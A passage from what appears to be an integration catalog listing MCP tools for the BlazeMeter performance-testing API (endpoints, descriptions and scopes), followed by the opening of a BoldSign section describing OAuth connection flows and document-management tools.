/api/v1/blazemeter/api/v4/multi-tests. Scopes: api. blazemeter_get_api_v4_multi_tests_by_multitestid (read) — Test suite details via GET https://a.blazemeter.com/api/v4/multi-tests/{multitestId} GET /api/v1/blazemeter/api/v4/multi-tests/{multitestId}. Scopes: api. blazemeter_get_api_v4_multi_tests_by_multitestid_files (read) — List data files via GET https://a.blazemeter.com/api/v4/multi-tests/{multitestId}/files GET /api/v1/blazemeter/api/v4/multi-tests/{multitestId}/files. Scopes: api. blazemeter_get_api_v4_private_locations (read) — List private locations via GET https://a.blazemeter.com/api/v4/private-locations GET /api/v1/blazemeter/api/v4/private-locations. Scopes: api. blazemeter_get_api_v4_private_locations_browsers (read) — List private locations supported browsers via GET https://a.blazemeter.com/api/v4/private-locations/browsers GET /api/v1/blazemeter/api/v4/private-locations/browsers. Scopes: api. blazemeter_get_api_v4_private_locations_by_harborid (read) — Private location details via GET https://a.blazemeter.com/api/v4/private-locations/{harborId} GET /api/v1/blazemeter/api/v4/private-locations/{harborId}. Scopes: api. blazemeter_get_api_v4_private_locations_by_harborid_servers (read) — List agents via GET https://a.blazemeter.com/api/v4/private-locations/{harborId}/servers GET /api/v1/blazemeter/api/v4/private-locations/{harborId}/servers. Scopes: api. blazemeter_get_api_v4_private_locations_by_harborid_servers_by_shipid (read) — Agent details via GET https://a.blazemeter.com/api/v4/private-locations/{harborId}/servers/{shipId} GET /api/v1/blazemeter/api/v4/private-locations/{harborId}/servers/{shipId}. Scopes: api. blazemeter_get_api_v4_private_locations_by_harborid_ships_by_shipid_versions (read) — Private location image versions via GET https://a.blazemeter.com/api/v4/private-locations/{harborId}/ships/{shipId}/versions GET /api/v1/blazemeter/api/v4/private-locations/{harborId}/ships/{shipId}/versions. Scopes: api. blazemeter_get_api_v4_projects (read) — Projects list via GET https://a.blazemeter.com/api/v4/projects GET /api/v1/blazemeter/api/v4/projects. Scopes: api. blazemeter_get_api_v4_projects_by_projectid (read) — Project details via GET https://a.blazemeter.com/api/v4/projects/{projectId} GET /api/v1/blazemeter/api/v4/projects/{projectId}. Scopes: api. blazemeter_get_api_v4_schedules (read) — List schedules via GET https://a.blazemeter.com/api/v4/schedules GET /api/v1/blazemeter/api/v4/schedules. Scopes: api. blazemeter_get_api_v4_schedules_by_scheduleid (read) — Schedule details via GET https://a.blazemeter.com/api/v4/schedules/{scheduleId} GET /api/v1/blazemeter/api/v4/schedules/{scheduleId}. Scopes: api. blazemeter_get_api_v4_schedules_history (read) — List schedule history via GET https://a.blazemeter.com/api/v4/schedules/history GET /api/v1/blazemeter/api/v4/schedules/history. Scopes: api. blazemeter_get_api_v4_sessions_by_sessionid_reports_logs (read) — Retrieve logs (GET /api/v4/sessions/{sessionId}/reports/logs) via GET https://a.blazemeter.com/api/v4/sessions/{sessionId}/reports/logs GET /api/v1/blazemeter/api/v4/sessions/{sessionId}/reports/logs. Scopes: api. blazemeter_get_api_v4_sessions_by_sessionid_reports_logs_data (read) — Retrieve logs (GET /api/v4/sessions/{sessionId}/reports/logs/data) via GET https://a.blazemeter.com/api/v4/sessions/{sessionId}/reports/logs/data GET /api/v1/blazemeter/api/v4/sessions/{sessionId}/reports/logs/data. Scopes: api. blazemeter_get_api_v4_sessions_by_sessionid_xbt_report (read) — GUI Functional full report via GET https://a.blazemeter.com/api/v4/sessions/{sessionId}/xbt-report GET /api/v1/blazemeter/api/v4/sessions/{sessionId}/xbt-report. Scopes: api. blazemeter_get_api_v4_tests (read) — List tests via GET https://a.blazemeter.com/api/v4/tests GET /api/v1/blazemeter/api/v4/tests. Scopes: api. blazemeter_get_api_v4_tests_by_testid (read) — Test details via GET https://a.blazemeter.com/api/v4/tests/{testId} GET /api/v1/blazemeter/api/v4/tests/{testId}. Scopes: api. blazemeter_get_api_v4_tests_by_testid_files (read) — List test files via GET https://a.blazemeter.com/api/v4/tests/{testId}/files GET /api/v1/blazemeter/api/v4/tests/{testId}/files. Scopes: api. blazemeter_get_api_v4_tests_by_testid_validations (read) — Check file validation via GET https://a.blazemeter.com/api/v4/tests/{testId}/validations GET /api/v1/blazemeter/api/v4/tests/{testId}/validations. Scopes: api. blazemeter_get_api_v4_workspaces (read) — Workspaces list via GET https://a.blazemeter.com/api/v4/workspaces GET /api/v1/blazemeter/api/v4/workspaces. Scopes: api. blazemeter_get_api_v4_workspaces_by_workspaceid (read) — Workspace details via GET https://a.blazemeter.com/api/v4/workspaces/{workspaceId} GET /api/v1/blazemeter/api/v4/workspaces/{workspaceId}. Scopes: api. blazemeter_get_api_v4_workspaces_by_workspaceid_active (read) — Active Masters in Workspace via GET https://a.blazemeter.com/api/v4/workspaces/{workspaceId}/active GET /api/v1/blazemeter/api/v4/workspaces/{workspaceId}/active. Scopes: api. blazemeter_get_api_v4_workspaces_by_workspaceid_tags (read) — This call returns a list of all tags defined in workspace. and their tagIDs. You use tags when you search and filter Performance tests. via GET https://a.blazemeter.com/api/v4/workspaces/{workspaceId}/tags GET /api/v1/blazemeter/api/v4/workspaces/{workspaceId}/tags. Scopes: api. blazemeter_get_api_v4_workspaces_by_workspaceid_users (read) — Workspace user list via GET https://a.blazemeter.com/api/v4/workspaces/{workspaceId}/users GET /api/v1/blazemeter/api/v4/workspaces/{workspaceId}/users. Scopes: api. blazemeter_get_reports_api_v1_workspaces_by_workspaceid_inspection_data_requests_by_requestid (read) — You can retrieve inspection data for any virtual service through our analytics endpoint. via GET https://analytics.blazemeter.com/reports/api/v1/workspaces/{workspaceId}/inspection-data/requests/{requestId} GET /api/v1/blazemeter/reports/api/v1/workspaces/{workspaceId}/inspection-data/requests/{requestId}. Scopes: api. blazemeter_get_reports_api_v1_workspaces_by_workspaceid_inspection_data_service_mock_by_servicemockid (read) — To retrieve log information for any virtual service through our analytics endpoint, you need the Request ID of the virtual service. To get the Request ID, you need the workspace identifier and the virtual service identifier. The sample code uses a serviceMockId of 1234 and a workspaceId of 123456 . Use the actual ID values of your log, workspace, and virtual service. The response contains the requestId in the result id: {“result” : [ { “id” : 7777, ...} ] } . via GET https://analytics.blazemeter.com/reports/api/v1/workspaces/{workspaceId}/inspection-data/service-mock/{servicemockId} GET /api/v1/blazemeter/reports/api/v1/workspaces/{workspaceId}/inspection-data/service-mock/{servicemockId}. Scopes: api. blazemeter_patch_api_v1_workspaces_by_workspaceid_service_mock_templates_by_servicemocktemplateid (write) — To update the properties of a virtual service template, you need to know your workspace identifier and the virtual service template identifier. The sample code uses a serviceMockTemplateId of 8 and a workspaceId of 123456 . Use the actual ID values of your workspace and virtual service template. via PATCH https://mock.blazemeter.com/api/v1/workspaces/{workspaceId}/service-mock-templates/{servicemocktemplateId} PATCH /api/v1/blazemeter/api/v1/workspaces/{workspaceId}/service-mock-templates/{servicemocktemplateId}. Scopes: api. blazemeter_patch_api_v1_workspaces_by_workspaceid_service_mocks_by_servicemockid (write) — To update properties of an existing virtual service in your workspace, you need to know your workspace identifier and the virtual service identifier. The sample code uses a serviceMockId of 1234 and a workspaceId of 123456 . Use the actual ID values of your workspace and virtual service. via PATCH https://mock.blazemeter.com/api/v1/workspaces/{workspaceId}/service-mocks/{servicemockId} PATCH /api/v1/blazemeter/api/v1/workspaces/{workspaceId}/service-mocks/{servicemockId}. Scopes: api. blazemeter_patch_api_v1_workspaces_by_workspaceid_service_mocks_by_servicemockid_apply_template_by_applytemplateid (write) — To apply an existing template to a virtual service, you need to know your workspace identifier and the virtual service template identifier. The sample code uses a serviceMockId of 1234 , a serviceMockTemplateId of 8 , and a workspaceId of 123456 . Use the actual ID values of your workspace and virtual service template. via PATCH https://mock.blazemeter.com/api/v1/workspaces/{workspaceId}/service-mocks/{servicemockId}/apply-template/{applytemplateId} PATCH /api/v1/blazemeter/api/v1/workspaces/{workspaceId}/service-mocks/{servicemockId}/apply-template/{applytemplateId}. Scopes: api. blazemeter_patch_api_v1_workspaces_by_workspaceid_transactions (write) — To perform a bulk delete or tag operation over several transactions in a workspace, you need to know your workspace identifier. The sample code uses a workspaceId of 123456 . Use the actual ID value of your workspace. via PATCH https://mock.blazemeter.com/api/v1/workspaces/{workspaceId}/transactions PATCH /api/v1/blazemeter/api/v1/workspaces/{workspaceId}/transactions. Scopes: api. blazemeter_patch_api_v4_accounts_by_accountid (write) — The account welcome screen is visible to any user that accepts an invitation to an account without being added to a workspace. via PATCH https://a.blazemeter.com/api/v4/accounts/{accountId} PATCH /api/v1/blazemeter/api/v4/accounts/{accountId}. Scopes: api. blazemeter_patch_api_v4_folders_by_folderid (write) — Update a shared folder via PATCH https://a.blazemeter.com/api/v4/folders/{folderId} PATCH /api/v1/blazemeter/api/v4/folders/{folderId}. Scopes: api. blazemeter_patch_api_v4_masters_by_masterid (write) — Update a master via PATCH https://a.blazemeter.com/api/v4/masters/{masterId} PATCH /api/v1/blazemeter/api/v4/masters/{masterId}. Scopes: api. blazemeter_patch_api_v4_private_locations_by_harborid (write) — Update a private location via PATCH https://a.blazemeter.com/api/v4/private-locations/{harborId} PATCH /api/v1/blazemeter/api/v4/private-locations/{harborId}. Scopes: api. blazemeter_patch_api_v4_private_locations_by_harborid_servers_by_shipid (write) — Update an agent via PATCH https://a.blazemeter.com/api/v4/private-locations/{harborId}/servers/{shipId} PATCH /api/v1/blazemeter/api/v4/private-locations/{harborId}/servers/{shipId}. Scopes: api. blazemeter_patch_api_v4_projects_by_projectid (write) — Update a project via PATCH https://a.blazemeter.com/api/v4/projects/{projectId} PATCH /api/v1/blazemeter/api/v4/projects/{projectId}. Scopes: api. blazemeter_patch_api_v4_schedules_by_scheduleid (write) — Update schedule via PATCH https://a.blazemeter.com/api/v4/schedules/{scheduleId} PATCH /api/v1/blazemeter/api/v4/schedules/{scheduleId}. Scopes: api. blazemeter_patch_api_v4_tests_by_testid (write) — Update a test via PATCH https://a.blazemeter.com/api/v4/tests/{testId} PATCH /api/v1/blazemeter/api/v4/tests/{testId}. Scopes: api. blazemeter_post_api_v1_api_publish_publish (write) — API Publishing means taking, for example, generated data and initializing a service by publishing the data to it before running the test. Orchtestration can read, write, or delete data to prepare your test environment. For more information, check the Data Structures section. via POST https://tdm.blazemeter.com/api/v1/api-publish/publish POST /api/v1/blazemeter/api/v1/api-publish/publish. Scopes: api. blazemeter_post_api_v1_tags (write) — You can use tags when you search and filter transactions or services. The creation response contains a tag identifier that you should note down. You will need the tagID when you want to configure, deploy, or delete this tag later. via POST https://mock.blazemeter.com/api/v1/tags POST /api/v1/blazemeter/api/v1/tags. Scopes: api. blazemeter_post_api_v1_transactions_convert (write) — Use this API to upload files of transactions to lists of generic DSLs that can be used in BlazeMeter. Supported file formats are .json, .yml, .yaml, .har, .zip. via POST https://mock.blazemeter.com/api/v1/transactions/convert POST /api/v1/blazemeter/api/v1/transactions/convert. Scopes: api. blazemeter_post_api_v1_workspaces_by_workspaceid_assets (write) — The Data Model defines what test data to generate, for example, credit card numbers or email addresses. via POST https://ar.blazemeter.com/api/v1/workspaces/{workspaceId}/assets POST /api/v1/blazemeter/api/v1/workspaces/{workspaceId}/assets. Scopes: api. blazemeter_post_api_v1_workspaces_by_workspaceid_assets_by_assetid (write) — To update a Data Model, you need to know your workspace identifier and the Data Model identifier. The sample code uses a dataModelId of 55 and a workspaceId of 123456 . Use the actual ID values of your workspace and Data Model. via POST https://ar.blazemeter.com/api/v1/workspaces/{workspaceId}/assets/{assetId} POST /api/v1/blazemeter/api/v1/workspaces/{workspaceId}/assets/{assetId}. Scopes: api. blazemeter_post_api_v1_workspaces_by_workspaceid_datamodels_by_datamodelid_generate (write) — To generate test data, you need to know your workspace identifier and Data Model identifier. The sample code uses a workspaceId of 123456 . Use the actual ID values of your workspace and Data Model. via POST https://tdm.blazemeter.com/api/v1/workspaces/{workspaceId}/datamodels/{datamodelId}/generate POST /api/v1/blazemeter/api/v1/workspaces/{workspaceId}/datamodels/{datamodelId}/generate. Scopes: api. blazemeter_post_api_v1_workspaces_by_workspaceid_packages (write) — If you want to organize your assets in packages, you need to create the packages first. Using packages is optional, if no packgeID is specified, the asset will be stored in the default package. via POST https://ar.blazemeter.com/api/v1/workspaces/{workspaceId}/packages POST /api/v1/blazemeter/api/v1/workspaces/{workspaceId}/packages. Scopes: api. blazemeter_post_api_v1_workspaces_by_workspaceid_service_mock_templates (write) — To create a virtual service templates, you need to know your workspace identifier and the service identifier. The sample code uses a serviceId of 123 and a workspaceId of 123456 . Use the actual ID values of your workspace and service. via POST https://mock.blazemeter.com/api/v1/workspaces/{workspaceId}/service-mock-templates POST /api/v1/blazemeter/api/v1/workspaces/{workspaceId}/service-mock-templates. Scopes: api. blazemeter_post_api_v1_workspaces_by_workspaceid_service_mocks (write) — To create a virtual service in your workspace, you need to know your workspace identifier. The sample code uses a workspaceId of 123456 . Use the actual ID value of your workspace. via POST https://mock.blazemeter.com/api/v1/workspaces/{workspaceId}/service-mocks POST /api/v1/blazemeter/api/v1/workspaces/{workspaceId}/service-mocks. Scopes: api. blazemeter_post_api_v1_workspaces_by_workspaceid_service_mocks_by_servicemockid_log_refresh (write) — Before you can get a log of a virtual service in the asset catalog, you must refresh the log. You need to know your workspace identifier and the virtual service identifier. The sample code uses a serviceMockId of 1234 and a workspaceId of 123456 . Use the actual ID values of your workspace and virtual service. via POST https://mock.blazemeter.com/api/v1/workspaces/{workspaceId}/service-mocks/{servicemockId}/log/refresh POST /api/v1/blazemeter/api/v1/workspaces/{workspaceId}/service-mocks/{servicemockId}/log/refresh. Scopes: api. blazemeter_post_api_v1_workspaces_by_workspaceid_service_mocks_configure (write) — To configure or deploy virtual services, you need to know your workspace identifier. The sample code uses a workspaceId of 123456 . Use the actual ID value of your workspace. via POST https://mock.blazemeter.com/api/v1/workspaces/{workspaceId}/service-mocks/configure POST /api/v1/blazemeter/api/v1/workspaces/{workspaceId}/service-mocks/configure. Scopes: api. blazemeter_post_api_v1_workspaces_by_workspaceid_service_mocks_validate (write) — To validate Taurus configuration dependencies, you need to know your workspace identifier. The sample code uses a workspaceId of 123456 . Use the actual ID value of your workspace. via POST https://mock.blazemeter.com/api/v1/workspaces/{workspaceId}/service-mocks/validate POST /api/v1/blazemeter/api/v1/workspaces/{workspaceId}/service-mocks/validate. Scopes: api. blazemeter_post_api_v1_workspaces_by_workspaceid_services (write) — To create a Service in your workspace, you need to know your workspace identifier. The sample code uses a workspaceId of 123456 . Use the actual ID value of your workspace. via POST https://mock.blazemeter.com/api/v1/workspaces/{workspaceId}/services POST /api/v1/blazemeter/api/v1/workspaces/{workspaceId}/services. Scopes: api. blazemeter_post_api_v1_workspaces_by_workspaceid_testdata_generate (write) — To generate test data, you need to know your workspace identifier and Data Model identifier. The sample code uses a workspaceId of 123456 . Use the actual ID values of your workspace and Data Model. via POST https://tdm.blazemeter.com/api/v1/workspaces/{workspaceId}/testdata/generate POST /api/v1/blazemeter/api/v1/workspaces/{workspaceId}/testdata/generate. Scopes: api. blazemeter_post_api_v1_workspaces_by_workspaceid_transactions (write) — To create a transaction, you need to know your workspace identifier and the Service identifier. The sample code uses a serviceId of 123 and a workspaceId of 123456 . Use the actual ID values of your workspace and Service. via POST https://mock.blazemeter.com/api/v1/workspaces/{workspaceId}/transactions POST /api/v1/blazemeter/api/v1/workspaces/{workspaceId}/transactions. Scopes: api. blazemeter_post_api_v4_accounts_by_accountid_invitations (write) — Add user to account via POST https://a.blazemeter.com/api/v4/accounts/{accountId}/invitations POST /api/v1/blazemeter/api/v4/accounts/{accountId}/invitations. Scopes: api. blazemeter_post_api_v4_accounts_by_accountid_terminate_masters (write) — Terminate masters in account via POST https://a.blazemeter.com/api/v4/accounts/{accountId}/terminate-masters POST /api/v1/blazemeter/api/v4/accounts/{accountId}/terminate-masters. Scopes: api. blazemeter_post_api_v4_analyzer (write) — Submits a new log analysis job for processing. Returns immediately with an execution ID. via POST https://a.blazemeter.com/api/v4/analyzer POST /api/v1/blazemeter/api/v4/analyzer. Scopes: api. blazemeter_post_api_v4_collections_by_collectionid_add_tests_executions (write) — API Explorer /collections/{collectionId}/add-tests-executions via POST https://a.blazemeter.com/api/v4/collections/{collectionId}/add-tests-executions POST /api/v1/blazemeter/api/v4/collections/{collectionId}/add-tests-executions. Scopes: api. blazemeter_post_api_v4_collections_by_collectionid_delete_file (write) — Delete data files via POST https://a.blazemeter.com/api/v4/collections/{collectionId}/delete-file POST /api/v1/blazemeter/api/v4/collections/{collectionId}/delete-file. Scopes: api. blazemeter_post_api_v4_collections_by_collectionid_remove_tests_executions (write) — API Explorer /collections/{collectionId}/remove-tests-executions via POST https://a.blazemeter.com/api/v4/collections/{collectionId}/remove-tests-executions POST /api/v1/blazemeter/api/v4/collections/{collectionId}/remove-tests-executions. Scopes: api. blazemeter_post_api_v4_credentials (write) — Create new credentials which will be used by APM integrations. Credential settings differ according to the integration type and can be found by calling /credentials/credentialsSettings . via POST https://a.blazemeter.com/api/v4/credentials POST /api/v1/blazemeter/api/v4/credentials. Scopes: api. blazemeter_post_api_v4_credentials_validate (write) — Authenticate integrated apps using user name and account password ("Access Key"). via POST https://a.blazemeter.com/api/v4/credentials/validate POST /api/v1/blazemeter/api/v4/credentials/validate. Scopes: api. blazemeter_post_api_v4_data_timeseries (write) — Inject custom time series data via POST https://a.blazemeter.com/api/v4/data/timeseries POST /api/v1/blazemeter/api/v4/data/timeseries. Scopes: api. blazemeter_post_api_v4_folders (write) — Create a shared folder via POST https://a.blazemeter.com/api/v4/folders POST /api/v1/blazemeter/api/v4/folders. Scopes: api. blazemeter_post_api_v4_folders_by_folderid_delete_file (write) — Delete shared folder file via POST https://a.blazemeter.com/api/v4/folders/{folderId}/delete-file POST /api/v1/blazemeter/api/v4/folders/{folderId}/delete-file. Scopes: api. blazemeter_post_api_v4_masters_by_masterid_public_token (write) — Add a public token via POST https://a.blazemeter.com/api/v4/masters/{masterId}/public-token POST /api/v1/blazemeter/api/v4/masters/{masterId}/public-token. Scopes: api. blazemeter_post_api_v4_masters_by_masterid_restore_reports (write) — Restore reports of an archived master via POST https://a.blazemeter.com/api/v4/masters/{masterId}/restore-reports POST /api/v1/blazemeter/api/v4/masters/{masterId}/restore-reports. Scopes: api. blazemeter_post_api_v4_masters_by_masterid_stop (write) — Source: https://help.blazemeter.com/apidocs/performance/masters_stop.htm via POST https://a.blazemeter.com/api/v4/masters/{masterId}/stop POST /api/v1/blazemeter/api/v4/masters/{masterId}/stop. Scopes: api. blazemeter_post_api_v4_masters_by_masterid_terminate (write) — Source: https://help.blazemeter.com/apidocs/performance/masters_terminate.htm via POST https://a.blazemeter.com/api/v4/masters/{masterId}/terminate POST /api/v1/blazemeter/api/v4/masters/{masterId}/terminate. Scopes: api. blazemeter_post_api_v4_multi_tests (write) — Create a test suite via POST https://a.blazemeter.com/api/v4/multi-tests POST /api/v1/blazemeter/api/v4/multi-tests. Scopes: api. blazemeter_post_api_v4_multi_tests_by_multitestid_add_tests_executions (write) — API explorer /multi-tests/{collectionId}/add-tests-executions via POST https://a.blazemeter.com/api/v4/multi-tests/{multitestId}/add-tests-executions POST /api/v1/blazemeter/api/v4/multi-tests/{multitestId}/add-tests-executions. Scopes: api. blazemeter_post_api_v4_multi_tests_by_multitestid_duplicate (write) — Duplicate a test suite via POST https://a.blazemeter.com/api/v4/multi-tests/{multitestId}/duplicate POST /api/v1/blazemeter/api/v4/multi-tests/{multitestId}/duplicate. Scopes: api. blazemeter_post_api_v4_multi_tests_by_multitestid_remove_tests_executions (write) — API explorer /multi-tests/{collectionId}/remove-tests-executions via POST https://a.blazemeter.com/api/v4/multi-tests/{multitestId}/remove-tests-executions POST /api/v1/blazemeter/api/v4/multi-tests/{multitestId}/remove-tests-executions. Scopes: api. blazemeter_post_api_v4_multi_tests_by_multitestid_start (write) — Start a test suite via POST https://a.blazemeter.com/api/v4/multi-tests/{multitestId}/start POST /api/v1/blazemeter/api/v4/multi-tests/{multitestId}/start. Scopes: api. blazemeter_post_api_v4_private_locations (write) — Create a private location via POST https://a.blazemeter.com/api/v4/private-locations POST /api/v1/blazemeter/api/v4/private-locations. Scopes: api. blazemeter_post_api_v4_private_locations_by_harborid_add_workspace (write) — Add a workspace to private location via POST https://a.blazemeter.com/api/v4/private-locations/{harborId}/add-workspace POST /api/v1/blazemeter/api/v4/private-locations/{harborId}/add-workspace. Scopes: api. blazemeter_post_api_v4_private_locations_by_harborid_servers (write) — Create an agent via POST https://a.blazemeter.com/api/v4/private-locations/{harborId}/servers POST /api/v1/blazemeter/api/v4/private-locations/{harborId}/servers. Scopes: api. blazemeter_post_api_v4_private_locations_by_harborid_ships_by_shipid_docker_command (write) — Generate Docker command via POST https://a.blazemeter.com/api/v4/private-locations/{harborId}/ships/{shipId}/docker-command POST /api/v1/blazemeter/api/v4/private-locations/{harborId}/ships/{shipId}/docker-command. Scopes: api. blazemeter_post_api_v4_projects (write) — Create a project via POST https://a.blazemeter.com/api/v4/projects POST /api/v1/blazemeter/api/v4/projects. Scopes: api. blazemeter_post_api_v4_projects_by_projectid_terminate_masters (write) — Terminate masters in projects via POST https://a.blazemeter.com/api/v4/projects/{projectId}/terminate-masters POST /api/v1/blazemeter/api/v4/projects/{projectId}/terminate-masters. Scopes: api. blazemeter_post_api_v4_schedules (write) — You can find the information for creating a schedule for a test and multi test . via POST https://a.blazemeter.com/api/v4/schedules POST /api/v1/blazemeter/api/v4/schedules. Scopes: api. blazemeter_post_api_v4_search (write) — Global search via POST https://a.blazemeter.com/api/v4/search POST /api/v1/blazemeter/api/v4/search. Scopes: api. blazemeter_post_api_v4_tests (write) — Create a test via POST https://a.blazemeter.com/api/v4/tests POST /api/v1/blazemeter/api/v4/tests. Scopes: api. blazemeter_post_api_v4_tests_by_testid_delete_file (write) — Delete asset files via POST https://a.blazemeter.com/api/v4/tests/{testId}/delete-file POST /api/v1/blazemeter/api/v4/tests/{testId}/delete-file. Scopes: api. blazemeter_post_api_v4_tests_by_testid_duplicate (write) — Duplicate a test via POST https://a.blazemeter.com/api/v4/tests/{testId}/duplicate POST /api/v1/blazemeter/api/v4/tests/{testId}/duplicate. Scopes: api. blazemeter_post_api_v4_tests_by_testid_files (write) — Upload or update asset files via POST https://a.blazemeter.com/api/v4/tests/{testId}/files POST /api/v1/blazemeter/api/v4/tests/{testId}/files. Scopes: api. blazemeter_post_api_v4_tests_by_testid_start (write) — Start a test via POST https://a.blazemeter.com/api/v4/tests/{testId}/start POST /api/v1/blazemeter/api/v4/tests/{testId}/start. Scopes: api. blazemeter_post_api_v4_tests_by_testid_stop (write) — Source: https://help.blazemeter.com/apidocs/performance/tests_stop_a_test.htm via POST https://a.blazemeter.com/api/v4/tests/{testId}/stop POST /api/v1/blazemeter/api/v4/tests/{testId}/stop. Scopes: api. blazemeter_post_api_v4_tests_by_testid_validate (write) — Validate a file via POST https://a.blazemeter.com/api/v4/tests/{testId}/validate POST /api/v1/blazemeter/api/v4/tests/{testId}/validate. Scopes: api. blazemeter_post_api_v4_workspaces (write) — Create a workspace via POST https://a.blazemeter.com/api/v4/workspaces POST /api/v1/blazemeter/api/v4/workspaces. Scopes: api. blazemeter_post_api_v4_workspaces_by_workspaceid_delete_logs (write) — Delete logs via POST https://a.blazemeter.com/api/v4/workspaces/{workspaceId}/delete-logs POST /api/v1/blazemeter/api/v4/workspaces/{workspaceId}/delete-logs. Scopes: api. blazemeter_post_api_v4_workspaces_by_workspaceid_delete_managers (write) — Remove managers from workspace via POST https://a.blazemeter.com/api/v4/workspaces/{workspaceId}/delete-managers POST /api/v1/blazemeter/api/v4/workspaces/{workspaceId}/delete-managers. Scopes: api. blazemeter_post_api_v4_workspaces_by_workspaceid_tags (write) — You can use tags when you search and filter Performance tests. via POST https://a.blazemeter.com/api/v4/workspaces/{workspaceId}/tags POST /api/v1/blazemeter/api/v4/workspaces/{workspaceId}/tags. Scopes: api. blazemeter_post_api_v4_workspaces_by_workspaceid_terminate_masters (write) — Terminate masters in workspace via POST https://a.blazemeter.com/api/v4/workspaces/{workspaceId}/terminate-masters POST /api/v1/blazemeter/api/v4/workspaces/{workspaceId}/terminate-masters. Scopes: api. blazemeter_post_api_v4_workspaces_by_workspaceid_users (write) — Add user to workspace via POST https://a.blazemeter.com/api/v4/workspaces/{workspaceId}/users POST /api/v1/blazemeter/api/v4/workspaces/{workspaceId}/users. Scopes: api. blazemeter_put_api_v1_tags_by_tagid (write) — To update the name or description of an existing tag, you need to know the tag identifier. The sample code uses a tagId of 888 . Use the actual ID value of your tag. via PUT https://mock.blazemeter.com/api/v1/tags/{tagId} PUT /api/v1/blazemeter/api/v1/tags/{tagId}. Scopes: api. blazemeter_put_api_v1_workspaces_by_workspaceid_service_mock_templates_by_servicemocktemplateid (write) — To update a virtual service template, you need to know your workspace identifier and the virtual service template identifier. The sample code uses a serviceMockTemplateId of 8 and a workspaceId of 123456. Use the actual ID values of your workspace and virtual service template. via PUT https://mock.blazemeter.com/api/v1/workspaces/{workspaceId}/service-mock-templates/{servicemocktemplateId} PUT /api/v1/blazemeter/api/v1/workspaces/{workspaceId}/service-mock-templates/{servicemocktemplateId}. Scopes: api. blazemeter_put_api_v1_workspaces_by_workspaceid_service_mocks_by_servicemockid (write) — To update an existing virtual service in your workspace, you need to know your workspace identifier and the virtual service identifier. The sample code uses a serviceMockId of 1234 and a workspaceId of 123456 . Use the actual ID values of your workspace and virtual service. via PUT https://mock.blazemeter.com/api/v1/workspaces/{workspaceId}/service-mocks/{servicemockId} PUT /api/v1/blazemeter/api/v1/workspaces/{workspaceId}/service-mocks/{servicemockId}. Scopes: api. blazemeter_put_api_v1_workspaces_by_workspaceid_service_mocks_by_servicemockid_log_by_logid (write) — To update a log snapshot of a virtual service and save it to the asset catalog, you need to know the log identifier, workspace identifier and the virtual service identifier. The sample code uses a logID of 42, a serviceMockId of 1234 and a workspaceId of 123456 . Use the actual ID values of your log, workspace, and virtual service. via PUT https://mock.blazemeter.com/api/v1/workspaces/{workspaceId}/service-mocks/{servicemockId}/log/{logId} PUT /api/v1/blazemeter/api/v1/workspaces/{workspaceId}/service-mocks/{servicemockId}/log/{logId}. Scopes: api. blazemeter_put_api_v1_workspaces_by_workspaceid_services_by_serviceid (write) — To update the name and description of an existing Service in your workspace, you need to know your workspace identifier and the Service identifier. The sample code uses a serviceId of 123 and a workspaceId of 123456 . Use the actual ID values of your workspace and Service. via PUT https://mock.blazemeter.com/api/v1/workspaces/{workspaceId}/services/{serviceId} PUT /api/v1/blazemeter/api/v1/workspaces/{workspaceId}/services/{serviceId}. Scopes: api. blazemeter_put_api_v1_workspaces_by_workspaceid_transactions_by_transactionid (write) — To update an existing transaction in your workspace, you need to know your workspace identifier and the transaction identifier. The sample code uses a transactionId of 77 and a workspaceId of 123456 . Use the actual ID values of your workspace and transaction. via PUT https://mock.blazemeter.com/api/v1/workspaces/{workspaceId}/transactions/{transactionId} PUT /api/v1/blazemeter/api/v1/workspaces/{workspaceId}/transactions/{transactionId}. Scopes: api. blazemeter_put_api_v4_accounts_by_accountid_users_by_userid (write) — Update account user via PUT https://a.blazemeter.com/api/v4/accounts/{accountId}/users/{userId} PUT /api/v1/blazemeter/api/v4/accounts/{accountId}/users/{userId}. Scopes: api. blazemeter_put_api_v4_collections_by_collectionid (write) — Update a multi-test via PUT https://a.blazemeter.com/api/v4/collections/{collectionId} PUT /api/v1/blazemeter/api/v4/collections/{collectionId}. Scopes: api. blazemeter_put_api_v4_collections_by_collectionid_override_tests_executions (write) — API Explorer /collections/{collectionId}/override-tests-executions via PUT https://a.blazemeter.com/api/v4/collections/{collectionId}/override-tests-executions PUT /api/v1/blazemeter/api/v4/collections/{collectionId}/override-tests-executions. Scopes: api. blazemeter_put_api_v4_multi_tests_by_multitestid (write) — Update a test suite via PUT https://a.blazemeter.com/api/v4/multi-tests/{multitestId} PUT /api/v1/blazemeter/api/v4/multi-tests/{multitestId}. Scopes: api. blazemeter_put_api_v4_workspaces_by_workspaceid_users_by_userid (write) — Update workspace user via PUT https://a.blazemeter.com/api/v4/workspaces/{workspaceId}/users/{userId} PUT /api/v1/blazemeter/api/v4/workspaces/{workspaceId}/users/{userId}. Scopes: api. ================================================================================ ## BoldSign URL: https://www.agenticfabriq.com/integrations/boldsign Section: Integrated Tools BoldSign — 85 MCP tools Provider key: boldsign. Scopes: BoldSign.Documents.All, BoldSign.Documents.Create, BoldSign.Documents.Delete, BoldSign.Documents.Write, BoldSign.SenderIdentity.Create, BoldSign.SenderIdentity.Delete, BoldSign.SenderIdentity.Read, BoldSign.SenderIdentity.Write, BoldSign.Teams.Read, BoldSign.Teams.Write, BoldSign.Templates.Create, BoldSign.Templates.Delete, BoldSign.Templates.Read, BoldSign.Templates.Write, BoldSign.Users.Read, BoldSign.Users.Write. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. boldsign_delete_v1_brand_delete (write, destructive) — Permanently delete a branding profile. Documents already sent under it keep the branding they were sent with via DELETE /v1/brand/delete DELETE /api/v1/boldsign/v1/brand/delete. Scopes: BoldSign.Documents.All. boldsign_delete_v1_contactgroups_delete (write, destructive) — Permanently delete one contact group. The contacts in it are kept via DELETE 